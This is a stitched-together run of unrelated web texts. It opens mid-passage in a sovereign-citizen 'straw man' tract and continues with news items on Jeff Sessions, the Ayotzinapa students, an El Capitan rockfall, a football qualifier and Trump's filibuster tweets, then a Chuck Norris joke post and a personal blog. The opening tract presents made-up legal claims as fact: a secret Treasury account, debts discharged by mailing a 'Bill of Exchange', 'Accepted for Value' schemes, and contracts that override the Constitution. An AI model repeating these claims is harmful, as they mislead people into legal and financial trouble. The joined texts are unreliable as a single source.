with the STRAW MAN (STRAWMAN) it is not dealing with real, living, men & women. We were never told, openly & clearly with full disclosure of all the facts, that since June 5, 1933, we have been unable to pay our debts. We were never told that we had been pledged (& our children, & their children, & their children, & on & on) as collateral, mere chattel, for the debt created by government officials who committed treason in doing so. We were never told that they quietly & cleverly changed the rules, even the game itself, & that the world we perceive as real is in fact fictional -& it's all for their benefit. We were never told that the STRAW MAN (STRAWMAN) -a fictional person, a creature of the state -is subject to all the codes, statutes, rules, regulations,ordinances, etc. decreed by government, but that WE, the real man & woman, are not. We were never told we were being treated as property, as slaves (albeit comfortably for some), while living in the land of the free -& that we could, easily, walk away from the fraud. WE WERE NEVER TOLD, WE WERE BEING ABUSED! There's something else you should know: Everything, since June 1933, operates in COMMERCE! Commerce is based on agreement, contract. Government has an implied agreement with the straw man (Strawman) (government's creation) & the straw man (Strawman) is subject to government rule, as we illustrated above. But when we, the real flesh & blood man & woman, step into their "process" we become the "surety" for the fictional straw man (Strawman). Reality & fiction are reversed. We then become liable for the debts, liabilities & obligations of the straw man (Strawman), relinquishing our real (protected) character as we stand up for the fictional straw man (Strawman). So that we can once again place the straw man (Strawman) in the fictional world & ourselves in the real world (with all our "shields" in place against fictional government) we must send a nonnegotiable (private) "Charge Back" & a nonnegotiable "Bill of Exchange" to the United States Secretary of Treasury, along with a copy of our birth certificate, the evidence, the MCO, of the straw man (Strawman). By doing this we discharge our portion of the public debt, releasing US, the real man, from the debts, liabilities & obligations of the straw man (Strawman). Those debts, liabilities & obligations exist in the fictional commercial world of "book entries", on computers &/or in paper ledgers. It is a world of "digits" & "notes", not of money & substance. Property of the real man once again becomes tax exempt & free from levy, as it must be in accord with HJR-192. Sending the nonnegotiable Charge Back & Bill of Exchange accesses our Treasury Direct Account (TDA). What is our TDA? Let's go to Title 26 USC & take a look at section 163(h)(3)(B)(ii), $1,000,000 limitation: "The aggregate amount treated as acquisition indebtedness for any period shall not exceed $1,000,000 ($500,000 in the case of a married individual filing a separate return)." This $1,000,000 (one million) account is for the straw man (Strawman), the fictional "person" with the name in all caps &/or last name first. It is there for the purpose of making book entries, to move figures, "digits" from one side of ledgers to the other. Without constant movement a shark will die & quite ironically, like the shark, there must also be constant movement in commerce, or it too will die. Figures, digits, the entries in ledgers must move from asset side to debit side & back again, or commerce dies. No movement, no commerce. The fictional person of government can only function in a fictional commercial world, one where there is no real money, only fictional funds... mere entries, figures, & digits. A presentment from fictional government -from traffic citation to criminal charges -is a negative, commercial "claim" against the straw man (Strawman). This "claim" takes place in the commercial, fictional world of government. "Digits" move from one side of your straw man (Strawman) account to the other, or to a different account. This is today's commerce. In the past we have addressed these "claims" by fighting them in court, with one "legal process" or another, & failed. We have played the futile, legalistic, dog-&-pony show -a very clever distraction -while the commerce game played on. But what if we refused to play dog-&-pony, & played the commerce game instead? What if we learned how to control the flow & movement of entries, figures, & digits, for our own benefit? Is that possible? And if so, how? How can the real man in the real world, function in the fictional world in which the commerce game exists? When in commerce do as commerce does, use the Uniform Commercial Code (UCC)? The UCC1 Financing Statement is the one contract in the world that can NOT be broken & it's the foundation of the Accepted For Value process. The power of this document is awesome. Since the TDA exists for the straw man (Strawman) -who, until now, has been controlled by government - WE can gain control (& ownership) of the straw man (Strawman) by first activating the TDA & then filing an UCC-1 Financing Statement. This does two things for US. First, by activating the TDA we gain limited control over the funds in the account. This allows US to also move entries, figures, & digits... for OUR benefit. Secondly, by properly filing an UCC-1 Financing Statement we can become the holder in due course of the straw man (Strawman). This gives us virtual ownership of the government created entity. So what? What does it all mean? Remember earlier we mentioned that a presentment from government or one of its agents or agencies was a negative commercial claim against the straw man (Strawman) (& the Strawman's account, the TDA)? Remember we told you entries, figures, & digits moved from one side of the account to the other, or to a different account? Well now, with the straw man (Strawman) under our control, government has no access to the TDA & they also lose their go-between, their liaison, their "connection" to the real, living man & woman. From now on, when presented with a "claim" (presentment) from government, we will agree with it (this removes the "controversy") & we will ACCEPT IT FOR VALUE. By doing this we remove the negative claim against our account & become the "holder in due course" of the presentment. As holder in due course you can require the sworn testimony of the presenter of the "claim" (under penalty of perjury) & request the account be properly adjusted. It's all business, a commercial undertaking, & the basic procedure is not complicated. In fact, it's fairly simple. We just have to remember a few things, like: this is not a "legal" procedure -we're not playing dog-&-pony. This is commerce, & we play by the rules of commerce. We accept the "claim", become the holder in due course, & challenge whether or not the presenter of the claim had/has the proper authority (the Order) to make the claim (debit our account) in the first place. When they cannot produce the Order (they never can, it was never issued) we request the account be properly adjusted (the charge, the "claim " goes away). If they don't adjust the account a request is made for the bookkeeping records showing where the funds in question were assigned. This is done by requesting the Fiduciary Tax Estimate & the Fiduciary Tax Return for this claim. Since the claim has been accepted for value & is prepaid, & our TDA account is exempt from levy, the request for the Fiduciary Tax Estimate & the Fiduciary Tax Return is valid because the information is necessary in determining who is delinquent &/or making claims on the account. If there is no record of the Fiduciary Tax Estimate & the Fiduciary Tax Return, we then request the individual tax estimates & individual tax returns to determine if there is any delinquency. If we receive no favorable response to the above requests, we will then file a currency report on the amount claimed/assessed against our account & begin the commercial process that will force them to either do what's required or lose everything they own -except for the clothing they are wearing at the time. This is the power of contracts (commerce) & it should be mentioned, at least this one time, that a contract overrides the Constitution, the Bill of Rights, & any other document other than another contract. We should also mention that no process of law -"color" of law under present codes, statutes, rules, regulations, ordinances, etc. - can operate upon you, no agent &/or agency of government (including courts) can gain jurisdiction over you, WITHOUT YOUR CONSENT. You, (we) are not within their fictional commercial venue. The Accepted for Value process, however, gives us the ability to deal with "them" -through the use of our transmitting utility/go-between, the straw man (Strawman) -& hold them accountable in their own commercial world, for any action(s) they attempt to take against us. Without a proper Order, & now we know they're not in possession of such a document, they must leave us alone... or pay the consequences. Yes, this process IS powerful. Yes, it CAN set us free from government oppression & control. But remember: "What goes around, comes around". "Do unto others, as you have others do unto you." It's simple, folks, DO NOT ABUSE THIS PROCESS... if you do it could come around & bite you
For Further Study: It's the Name of the Game PRESUMPTION ANSWER TO THE ENIGMA of a capitalized name Quick Notes on PERSON Language gets into our head... Sovereignty Chart Structure Of The Birth Certificate Proof That There Is a "Straw Man" Are You Free, or are you a slave? What is the Straw Man? video How the IRS traps you into liability by making you a fiduciary for a dead "strawman" Notes on PERSON COMMERCE GAME EXPOSED How To Play Cestui Qui Trust = The Strawman STRAWMANDonald Trump's selection of Sen. Jeff Sessions for the nation's top law enforcer would give the president-elect clout with supporters who cheered his pledges to crack down on illegal immigration, though it will certainly spark some controversy.
The immigration hard liner from Alabama was among the first people in Washington to throw his weight behind Trump's unlikely electoral win. He was a key Trump ally throughout the campaign and serves as a vice chairman on the executive committee of Trump's transition team.
Trump announced his selection of Sessions as his attorney general on Friday. Trump said in a statement that Sessions is "a world-class legal mind and considered a truly great Attorney General and U.S. Attorney in the state of Alabama."
Sessions has a long history as a public official, serving as a U.S. attorney in Alabama and Alabama's attorney general before nearly two decades in the Senate. But concerns about Sessions could bring more criticism to a Trump administration that's already facing heat for other key appointments.
Since Sessions' consideration for the Cabinet, new focus has gone to racially insensitive statements that surfaced when he was considered for a district judgeship in the 1980s. Thomas Figures, a black former assistant U.S. Attorney in Alabama, said Sessions once warned him to be careful about what he said to "white folks," according to NBC News.
He also testified that amid a Ku Klux Klan-related murder investigation he "used to think [the KKK] were OK" until he found out some were "pot smokers." Sessions claimed he was joking, according to NBC.Chuck Norris Fact: Chuck in Super Mario Brothers, Nothing Lives
Chuck Norris Facts have made us laugh so many times since they surfaced. While they are not made up by Chuck himself, they still deserve the credit and respect that Chuck would demand. Whether it is his roundhouse kicks, cure for cancer, or simply being Chuck, these facts are not to be taken lightly. And here is another Chuck Norris fact: If Chuck Norris replaced Mario in Super Mario Brothers, Nothing would Live.
I am not certain how long it took to create this video below, but it is so entertaining. Someone recreated the famous first stage of Super Mario Brothers but Mario is nowhere to be found. A new Sheriff came to town, or should I say: Walker, Texas Ranger, and the classic game is now called: Super Chuck Norris. Actually, Chuck kicks major ass in this game, I mean major.
Have fun!
Via: GeekologieRep. Justin Amash Justin AmashHouse to push back at Trump on border Ex-GOP lawmakers urge Republicans to block Trump's emergency declaration This week: Congress, Trump set for showdown on emergency declaration MORE (R-Mich.) knocked President-elect Donald Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE on Saturday for his response to backlash over attacking Rep. John Lewis (D-Ga.).
"Dude, just stop," Amash tweeted, linking to a tweet from Trump.
Trump suggested Saturday that he and Lewis work together to focus on the nation's inner cities after a number of Democratic and Republican lawmakers slammed him for saying Lewis was "all talk" and "no action."
ADVERTISEMENT
“Congressman John Lewis should finally focus on the burning and crime infested inner-cities of the U.S. I can use all the help I can get!” Trump wrote Saturday evening.
The president-elect had fired back at Lewis in tweets early Saturday after the Democratic lawmaker said he didn't view Trump as a "legitimate president" and would skip his inauguration.
"John Lewis and his 'talk' have changed the world," Sen. Ben Sasse (R-Neb.) tweeted Saturday, joining other lawmakers criticizing Trump |
43 government building in upcoming days to show solidarity with the missing students.
Mexico City police arrested random bystanders while the national palace door burned. Read more here.
Protestas de normalistas en la sede estatal del— Diógenes (@lamparadiogenes)November 12, 2014
The parents still said they wouldn't lose hope. On Tuesday, they met with the Argentine Forensic Anthropology Team (EAAF), a group entrusted by the government and the families to work alongside state forensics investigators in the search for the young men. The EAAF confirmed that 24 of the 30 bodies that have been found in recent weeks in at least six clandestine graves in Guerrero definitely do not belong to the missing students.
At least 19 clandestine pits with human remains have been uncovered in recent weeks — mostly by volunteers — in the hills surrounding Iguala, the city where the young men went missing after a municipal police attack on buses that left 6 dead. The discoveries have shocked the country and led to massive, mostly peaceful demonstrations in Mexico City and elsewhere.
The experts' statement directly mentions two sites in Iguala where clandestine burial pits were uncovered during the search effort, as well as referring to Cocula, the site of the garbage dump that Mexican investigators presume was used as an incineration site for the corpses of the 43 missing students. Those remains have been sent to experts at the University of Innsbruck in Austria.
The Argentine group's press release concluded the team has "not yet" been able to positively identify any of the remains exhumed during the search effort as belonging to the missing students.
"Until now, there have not been identifications [linking] the remains that were recovered at the three mentioned sites, and the 43 normalistas," the team of Argentine forensics said, further reviving the family members' hopes that their loved ones, who have been missing since September 26, may still be alive.
"We will continue to work on the effort in order to identify the recovered remains, along with the official experts," the statement added.
Officials say the 43 students missing in Mexico were incinerated. Read more here.
Charred bone fragments believed to belong to the missing students in Guerrero. Image courtesy of the Mexican Attorney General's Office.
The garbage dump in Cocula, about 14 miles outside Iguala, has become the recent focus of the official investigation.
Attorney General Jesús Murillo Karam on Friday said that according to testimony obtained from three of the suspects who are detained in connection to the case, the normalistas were murdered, stacked, and incinerated over the course of 14 hours in Cocula. The suspects said they collected the students' skeletal remains in garbage bags and threw them into a nearby river.
Murillo concluded that due to the degree of incineration, it would be difficult to conduct tests to positively identify the remains.
Murillo Karam's Friday press conference.
"The prosecutor tells the press one thing, and us another," Felipe de la Cruz Sandoval, spokesperson for the families, said in a brief interview with VICE News, after the fifth meeting held between the families and the prosecutor. "He told the media that they were murdered, and then put into graves, or that they were killed and then thrown into a trash dump in Cocula, and then [told] us something else."
"The families react to what they are told," Cruz said. "They cry, they get frustrated, and that is where we disagree, because it's psychological torment. I no longer trust anything they say."
According to Cruz, this final meeting between the parents of the missing and the authorities went two hours longer than scheduled "due to the [parents'] clamoring and criticism of the government, for saying things that are not [true]."
De la Cruz condemned interim Guerrero Governor Rogelio Ortega for his apparent disinterest in the missing students, comparing him to his predecessor Ángel Aguirre, who was forced to resign on October 23. In recent days, Ortega has been criticized for attended a wedding as state buildings in Guerrero burned, and for repeating unverified rumors that the missing Ayotzinapa students were alive.
"He needs to start thinking, or he may have to go out the back door," De la Cruz said.
Ortega criticized protesters' actions after they briefly blocked the international airport in Acapulco, affecting flights in the state's tourist hub. The demonstration, which lasted for about five hours, prompted the governor to say the normalistas have become "the bullies, instead of the victims."
Solalinde speaks againFather Alejandro Solalinde, an outspoken human-rights defender in Mexico, accused the Mexican government of temporarily hiding the former Iguala mayor, Jose Luis Abarca, and potentially using his arrest for political gain. Solalinde was criticized last month for claiming that the Ayotzinapa students were incinerated in Cocula, but the story turned out to be similar to what Murillo Karam said last week about the students' fate.
The mayor and his wife spent several weeks at large before finally being detained at a squalid home in Iztapalapa, an impoverished borough in Mexico City that is considered a major electoral bastion for the Party of the Democratic Revolution (PRD), an opposing force to the PRI.
"They found him in Veracruz and then went to plant him in opposition territory in Mexico City, in Iztapalapa," Father Solalinde claimed on Tuesday.
Political power couple wanted in student massacre arrested in Mexico City. Read more here.
The Ayotzinapa disappearances have been ricocheting across Mexican society in other ways as well.
The president's step-daughter, actress Sofia Castro, sparked criticism when she declined to comment on the crisis when asked by an entertainment reporter at a red carpet event on Saturday.
"Look sweetheart, this is not the time to talk about the subject," said Castro, Peña Nieto's 21-year-old stepdaughter. "All of Mexico is in mourning. It is shocked by what is happening. But I think that now is not the time, right now I came to have fun and to receive my award."
She wasn't the only one criticized for inappropriate commentary on the missing students case. A tweet from Nestle-owned candy brand Crunch posted a controversial tweet from its official Twitter account in Mexico @CrunchMX, stating "They crunched those from Ayotzinapa." The tweet was removed shortly thereafter, and the company tweeted an apology, claiming their account had been hacked.
Nestlé Crunch's Mexican twitter account made a tasteless joke about the students of Ayotzinapa yesterday. —?'?Tony_teleSUR? (@MexicAnarchist)November 11, 2014
An official tweet that reads "The Ayotzinapa were given Crunch," presumably in reference to the calcified state of the bones believed to belong to the missing.
In contrast, during an event held this weekend at the New York Museum of Modern of Modern Art, Oscar-winning Mexican director Alfonso Cuarón used his stage time to speak out about the tragedy.
"As Human Rights Watch observes, these killings and forced disappearances reflect a much broader pattern of abuse, and are largely a consequence of the longstanding failure of the Mexican authorities," Cuaron said. "We believe that these crimes are systemic and indicate a much greater evil, the blurred lines between organized crime and high-ranking officials in the Mexican government. We must demand the answers about this and we must do it now."
Pope Francis expressed his condolences Wednesday morning from St. Peter's Square at the Vatican, over what he referred to as the "murder" of the normalista students.
"The dramatic reality of all the crime that exists behind drug trafficking becomes evident," the pope said.
Bolivian President Evo Morales is one of few foreign leaders to voice his indignation over the Ayotzinapa case in recent days.
"We regret what has occurred in Mexico, and I decided to express our solidarity," the president said in a statement in Bolivia on Monday.
The seminal Mexican rock band Cafe Tacuba interrupted a concert Tuesday to speak about the missing normalistas, calling what has occurred "a terrible crime of the state."
And on Wednesday in Amsterdam, the Mexican national soccer team held a rematch with its rival from the 2014 World Cup, the Netherlands. Mexican fans inside the stadium lifted photographs of the missing students and chanted "Justice! Justice! Justice!"
Ayotzinapa: A timeline of the mass disappearance that has shaken Mexico. Read more here.YOSEMITE NATIONAL PARK — As the giant granite El Capitan briefly slumbers, scientists are racing to identify any areas of dangerous new instability on a popular but restless climbing route that last week released enough rubble to fill 750 dump trucks.
It’s likely that Mother Nature — not climbers — caused the two massive rockfalls that killed Welsh athlete Andrew Foster, 32, severely injured his 28-year-old wife, Lucy, and smashed through the sunroof of an SUV driven by Florida tourist Jim Evans, who is now hospitalized with head injuries. Related Articles Yosemite death: Cupertino woman killed on closed Mist Trail
‘Firefall’ is back, delighting Yosemite visitors with its lava-like flow
Insider’s Guide to Yosemite: Everything you need to know about the park
Madera County: Fossil Discovery Center fun stop for kids, families
Yosemite: Family adventures in renovated Mariposa Grove
What triggered the tragedy? Were recent temperature swings to blame? Can our scientific tools ever predict the day, even the hour, when an ancient mountain suddenly fractures? Scientists are inching closer to clues, but the research is as challenging as an ascent up the sheer monolith.
While climbers can cause rockfalls, accidentally loosening a piece of rock, those falls tend to be much smaller in size than natural events, said Menlo Park-based U.S. Geological Survey civil engineer Brian Collins, who is now in Yosemite with U.S. Park Service geologist Greg Stock to study the rockfalls.
The team has scrutinized more than a century of unexplained rockfalls in Yosemite, seeking patterns of rock shedding.
“Larger rockfalls are most often a natural occurrence,” Collins said, “the reason being that natural forces such as water seepage, thermal expansion and earthquakes have much larger forces involved that can destabilize and trigger larger areas of rock.”
Early on Wednesday, the day of the first El Capitan rockfall, climbers Ryan Sheridan and Peter Zabrok had ascended the same route, and later told the Associated Press that they noticed the rock was loose. In June 2014, a large block fell from the same spot, fragmenting on impact and creating a large dust cloud that lingered for more than an hour. But because it happened at 4:30 a.m., no one was hurt.
No new movement was detected this weekend by National Park Service experts who are monitoring the mountain with high-powered spotting scopes and binoculars.
By helicopter, NPS geologist Stock quickly took hundreds of photos of the new scar. The giant flake collapsed over two days split seconds in geologic time. A lower section released during seven separate rockfalls over four hours on Wednesday; the much larger upper section dropped on Thursday.
Then Collins and Stock deployed their computer model to compare the new rock face to the old images of the cliffs, obtained using lidar and laser techniques. The computer modeling, which calculated the volumes and dimensions of the rockfall, was done in collaboration with geologists at the University of Lausanne in Switzerland.
“This allows us to view where the rockfall came from in three dimensions,” Collins said, “and gives us a much better idea of how the rocks became dislodged and fell. We can then look for areas of potential new instability based on these models,” which helps experts monitor any perilous movement from the ground.
In addition to computer analyses, Collins and Stock have measured the influence of temperature swings by roping up, climbing a slab of unstable rock and installing a long thin wire that measures strain. The device records data every five minutes — tracking rock movement as tiny as one-thousandth of a centimeter.
While it remains impossible to predict exactly when a rock will release, the new tools “help us understand trigger mechanisms — why they happen — and the shapes and sizes,” said Yosemite spokesman Scott Gediman. “It is amazing science.”
In just one day, the scientific team precisely measured the size of the fracture: 394 feet tall, 148 feet wide and 8 to 26 feet thick. They calculated the collapse released nearly 362,000 cubic feet of rock, weighing about 27,675 metric tons.
It created a white scar that looks like a raised middle finger, evoking historian Will Durant’s famous aphorism: “Civilization exists by geologic consent, subject to change without notice.”
Above the fracture is a huge slab, now unsupported, that’s poised for the next release.
“We cheated death on this one,” Zabrok, who has climbed El Capitan 58 times, wrote on his Facebook page. His team “completed our ascent safely, only to watch the first two-thirds of the route fall off beneath us in this spectacular and terrifying rockfall. … We literally felt the granite of El Capitan shaking beneath our feet like an earthquake!”
While dramatic, rockfalls rarely kill. Sixteen people have died from rocks in Yosemite over the past 150 years. Many more people have died in the park from drownings, car accidents and natural causes, according to Yosemite data.
On average, rockfalls this size in Yosemite Valley occur every six years, according to Stock. The 2009 Ahwiyah Point rockfall, near Half Dome, was roughly four times larger than all of last week’s events, knocking down hundreds of trees and burying hundreds of feet of the Mirror Lake Loop Trail, he said.
In October 2008, rocks peeled off the cliff below Glacier Point, thundering down on Curry Village and forcing the permanent closure of 233 tent cabins, about a third of the village’s overnight capacity.
Rocks don’t have to be big to be fatal. In 2013, London climber Felix Joseph Kiernan, 28, died on the East Buttress of El Capitan when his partner, climbing above him, stepped on the loose rock. The block — measuring one-by-two feet — fell about 150 feet before striking Kiernan.
According to The Times of London, Welsh climber Foster died while trying to shield his wife, jumping to cover her from cascading rocks. The Florida man was injured when his car’s sunroof was shattered.
The new fracture was stunning not just for its fatality, but also its high visibility. It was witnessed by hundreds of tourists along the busy Yosemite loop, on a blissfully warm autumn day.
It occurred on the southeast flank of El Capitan, across from a popular meadow, rather than the long, aesthetic and immediately visible “nose” of the monolith.
It’s a climbing area called the Waterfall Route, where the seasonal Horsetail Falls flows, between the popular routes Zodiac and East Buttress. Several famed pitches have been wiped off the face of El Capitan, and now lie on the valley floor and in the South Fork of the Merced River.
While geologists have not conducted specific studies in the area of the Waterfall Route, they have documented several rockfalls from that area in the past, Collins said.
Elsewhere in the park, hikers said it’s no reason to stay away from one of the most beautiful places on Earth.
“I’ve been all over national parks and things happen all the time,” said Taylor Moore, 23, of San Francisco, on her first-ever hike on Thursday to the dramatic top of Yosemite Falls, 2,500 feet above the valley floor. “It is gorgeous here.”
Phillip Chayka, 22, of Sacramento, gazed up at granite walls near Yosemite Falls and said, “If that comes down, I don’t want to be here.”
He quickly added that he wasn’t scared. “But my mom is,” he joked.
But climbing carries higher risks because it follows seams and cracks — lines of weakness in rock.
Rocks look static, but they’re not, Collins said. They expand and contract with changing temperatures, according to his research conducted with NPS’s Stock.
They looked at the pattern of 228 past rockfalls in Yosemite with no known cause and found that about 15 percent occurred in the hottest hours of the day, from noon to 6 p.m, between July and September. That’s more than double the expected rate.
In the heat of a summer afternoon, an unstable slab in Yosemite bulges and moves off a cliff about eight millimeters, almost one-third of an inch, they found. On cool nights, the slab reverses itself, shifting back about seven millimeters.
This summer, the Sierra Nevada had one of the hottest summers on record — then drastically cooled, with snow dusting the peaks of Yosemite National Park and briefly closing Tioga Pass Road on Sept. 21. Last week, temperatures soared to the high 90s.
While rock movement is most profound in heat, it happens all year long, Collins said. And other things — such as winter rain and snow, even tree roots or lightning strikes — may actually trigger the final collapse.Singapore could be without utility man Safuwan Baharudin against four-time Asian champions Japan in Saitama for their second 2018 World Cup Group E Qualifier on Tuesday night.
Safuwan was the star of Thursday's 4-0 win in Cambodia, scoring two first half goals.
Coach Bernd Stange confirmed that the 23-year-old Malaysia FA Cup winner with LionsXII -- who had a successful loan spell with A-League club Melbourne City earlier this year -- had flown back from Japan to attend to a family matter and is unlikely to play against the continental heavyweights.
"This is a big blow for us," said Stange. "However, the World Cup qualifiers are like a marathon. Injuries and unexpected matters such as this always come up and it is all about overcoming such problems. We are lucky that we have no injuries going into the game."
Stange looked ahead to the clash against Vahid Halilhodzic's team with utmost pragmatism.
"Japan are a great side and are well above our level," said the 67-year-old German tactician. "We've not played against such a side for a long time. Japan will have the ball all the time and will totally dominate us in possession.
"All our players want to use this opportunity to be part of a great football party and learn from the experience. They must be calm at all times, play without fear and to the best of their abilities. We'll be compact while defending as we'll not have many scoring chances. But we have players who can be effective on the counter attack."
Coach Bernd Stange says Singapore will use Tuesday's World Cup Qualifier against Japan as a learning experience. Photo credit: Football Association of Singapore
Stange added that playing in front of a packed Saitama stadium will also be a learning experience for his side.
"This will be the third successive game that my side will be playing in front of a packed house if one were to include LionsXII's Malaysia FA Cup final as well. They did well in the two previous occasions [the Malaysia FA Cup win and Thursday's win in Phnom Penh].
"But the level of the opposition will be way too high on Tuesday -- Japan trounced strong sides such as Uzbekistan and Iraq 5-1 and 4-0 in their pre-qualifying friendlies -- and our players must remain calm in front of the 60,000 Japanese fans expected in the stadium and avoid mistakes as much as possible."
Asked what would constitute a good result for his side against the continental heavyweights, Stange said that a draw would be a difficult result to achieve.
"We will need a lot of luck to get a point," he said.
"There are very seldom cases in club football where second or third division teams upset elite champions. We are playing a Japanese side featuring players like Shinji Kagawa and Keisuke Honda who play for European heavyweights such as Borussia Dortmund and AC Milan. So we must be realistic about our chances."
Singapore have three points from their Thursday opener. Following Tuesday's game, the Lions will next play Syria away on Sep. 3.
Japan will again be at home on the same day against Cambodia for their second stop in the road to Russia 2018.Responding to Senate Republicans' healthcare collapse this week, President Trump said Saturday that Republicans "look like fools" and the Democrats are "laughing" at them if they don't change the legislative process.
He urged Senate Republicans to abolish the legislative filibuster in a series of early-morning tweets, claiming “200 bills” sit in the Senate waiting for action.
Trump specifically called out Senate Majority Leader Mitch McConnell Addison (Mitch) Mitchell McConnellWhite House pleads with Senate GOP on emergency declaration Senate Dems seek to turn tables on GOP in climate change fight Pence meets with Senate GOP for 'robust' discussion on Trump declaration MORE (R-Ky.), pushing the GOP leader to end the filibuster and move toward passing all legislation with a 51-vote majority.
ADVERTISEMENT
“Republican Senate must get rid of 60 vote NOW! It is killing the R Party, allows 8 Dems to control country. 200 Bills sit in Senate. A JOKE!” Trump tweeted. “The very outdated filibuster rule must go. Budget reconciliation is killing R's in Senate. Mitch M, go to 51 Votes NOW and WIN. IT'S TIME!”
“Republicans in the Senate will NEVER win if they don't go to a 51 vote majority NOW. They look like fools and are just wasting time,” he continued. “8 Dems totally control the U.S. Senate. Many great Republican bills will never pass, like Kate's Law and complete Healthcare. Get smart!"
Republican Senate must get rid of 60 vote NOW! It is killing the R Party, allows 8 Dems to control country. 200 Bills sit in Senate. A JOKE! — Donald J. Trump (@realDonaldTrump) July 29, 2017
The very outdated filibuster rule must go. Budget reconciliation is killing R's in Senate. Mitch M, go to 51 Votes NOW and WIN. IT'S TIME! — Donald J. Trump (@realDonaldTrump) July 29, 2017
Republicans in the Senate will NEVER win if they don't go to a 51 vote majority NOW. They look like fools and are just wasting time...... — Donald J. Trump (@realDonaldTrump) July 29, 2017
....8 Dems totally control the U.S. Senate. Many great Republican bills will never pass, like Kate's Law and complete Healthcare. Get smart! — Donald J. Trump (@realDonaldTrump) July 29, 2017
If the Senate Democrats ever got the chance, they would switch to a 51 majority vote in first minute. They are laughing at R's. MAKE CHANGE! — Donald J. Trump (@realDonaldTrump) July 29, 2017
Trump’s tweets come after Senate Republicans were unable to pass their ObamaCare repeal bill in the early hours of Friday morning after three Republicans - Sens. Susan Collins Susan Margaret CollinsWhite House pleads with Senate GOP on emergency declaration Cohen grilled by Senate Intelligence panel Pence meets with Senate GOP for 'robust' discussion on Trump declaration MORE (Maine), Lisa Murkowski Lisa Ann MurkowskiWhite House pleads with Senate GOP on emergency declaration Pence meets with Senate GOP for 'robust' discussion on Trump declaration House votes to overturn Trump's emergency declaration MORE (Alaska) and John McCain John Sidney McCainGOP lobbyists worry Trump lags in K Street fundraising Mark Kelly kicks off Senate bid: ‘A mission to lift up hardworking Arizonans’ Gabbard hits back at Meghan McCain after fight over Assad MORE (Ariz.) - all voted against the bill.
After the vote, Trump reacted on Twitter, saying those three Republicans plus the 48 Democrats who voted against the measure “let the American people down.”
Trump also called for an end to the legislative filibuster on Friday, saying “great future legislation” depended on Republicans killing the filibuster and moving to a 51-vote majority.
On Saturday, he named "complete healthcare" and Kate's Law as two examples. The Senate this week was voting on a "skinny" healthcare bill that would have required negotiation in order to completely address healthcare reform. Kate's Law is an immigration-related bill also known as the Establishing Mandatory Minimums for Illegal Reentry Act of 2015.I haven’t done one of these in a long time, but this is really therapeutic for me, so I’m going to open up. You don’t have to read it, it won’t matter to me if you do or not, but getting it all out in the open really helps clear my head, so I put it out there in blog form to get it out of my brain and in some form of writing. I guess I do care if people read it. I’m not sharing it to Facebook or Twitter, because if people really want to read it, they’ll find it.
Right now, I’m languishing over whether or not I should leave my job at the hotel. I really like the pay, but the benefits aren’t equal to the stress I deal with here. A lot of the stress is anxiety related, because I whip myself into a tizzy over the dumbest shit. For instance, a couple weeks ago, my boss called me in the middle of an otherwise normal night, and asked if I knew anything about an incident that had occurred. I had no idea what he was talking about, but once I reviewed the cameras, I found what he was talking about and I along with my coworkers were all complicit in failing to catch it. It was purely our fault, we should have been watching the cameras and we simply weren’t. I got so anxious and nervous over the whole thing, I was literally sick to my stomach. I had to call into work, for other reasons as well, but I was so anxious, it made me physically ill. It turned out to be no big deal, but it really made me realize how bad my anxiety is getting. I didn’t have this working at the gas station, but I also didn’t have the pay and fringe benfits I get here, either. The main reason I left the gas station I worked at is because I didn’t want to spend the rest of my adult life working in a convenience store. It just seemed so below me, I guess. I don’t know why, it was easy work for decent pay, it just wasn’t fulfuilling. This job is more fulfilling, but like I said, my stress is compounding all the time. I know I should value my own mental sanity over all, but there are also bills to be paid. That’s the one thing keeping me from chasing my dreams, is the thought of destitution.
I work a lot. I usually work from 4pm until 630am at least 3-4 days a week, and 10pm-630am 1-2 days a week. I make good money, and I don’t even really NEED to work two jobs, but I do. I do it because I’ve been dead fucking broke my whole life, and now that I work so much, I don’t have to worry about money nearly as much. I’ve ALWAYS worried about how my bills were going to get paid, because I always had shit jobs. Now I don’t have to worry, but I never get to rest. I’m always moving, always going and it’s fucking exhausting. But I do it anyway. I do it so I don’t have to worry, about money at least. I still worry about every little thing, except money. I would honestly be much happier if I could make a real living delivering pizzas, but I can’t. I just wouldn’t make enough to pay my car note, insurance and all that. I did in the past because my bills weren’t nearly as high, but now it’s too much.
I need a major fucking change in my life. I need something to kick me in the head and make me realize that life is too fucking short to work a job you hate and be miserable all the goddamn time. I feel like the last year and a half of my life has just buzzed by with me barely noticing, and that’s absolutely frightening. The fact that such a large swath of time has just disappeared and I have absolutely nothing to show for it. It’s all been for nothing other than maintaining what I’ve got. Paying my bills, moving on to the next day, the next week and the next month. Life is a blur for the sake of forward motion. Forward motion until you hit that wall and you die. I feel like if I don’t find some kind of purpose for my life soon, I’m going to just lose all of my fight. I’m going to lose all of my ambitions and hopes and dreams, and just give up and live the boring, normal cookie cutter life in some plain, boring apartment by myself, alone until the day I die. That thought scares me more than anything I’ve ever faced.
One of my absolute biggest fears in life is the thought of spending all of my life, being a boring, plain man who just lives on his own, works every day, and has no purpose. I have absolutely nothing to live for, and that’s part of why it scares me. There is nothing in my life that would be changed detrimentally if I suddenly stopped existing. I’m not saying there’s anything wrong with working for a living, everyone’s got to eat. I’m not saying I want to just stop working, live off the government and eak my way through life until I take the old dirt nap. I’m saying I want to find something that makes me happy, that gives me purpose, and that can sustain me with some padding in the bank account. I don’t want anything super extravagant, I just want to know that I’m not going to have to worry if something unexpected comes along. I can’t tell you how many times I’ve been blindisded by something as small as a $200 car repair bill that set me back exponentially. It’s happened multiple times, and it makes me feel like an absolute moron. To not be able to cover something as small as that, it’s belittling and humbling, and not in a good way. It annoys me that I can’t make myself save money, that I just feel like I HAVE to spend money if I have it in my account or in cash. I’ve always been that way, and I’ve always been broke. I’m such an impulse spender, it’s getting in the way of my life. It’s an absolute struggle for me to save money for ANYTHING.
I feel like that’s another one of my problems, I’m too whiny all the time. I whine about everything, and I know it’s annoying, but I don’t know how to stop. It’s just become synonymous with me, which is not a good trait to have. I’m not even trying to play the “Woe is me, the white man” shit, I just literally am slightly upset by everything. My inital gut reaction to EVERYTHING is to complain. I know this post is kind of rambly, but that’s the point. It’s a stream-of-consciousness thing where I just put whatever I’m thinking through the keyboard into the blog, until my brain is absolutely empty. If you’ve made it this far, thanks, but there’s still much more to say, so bear with me.
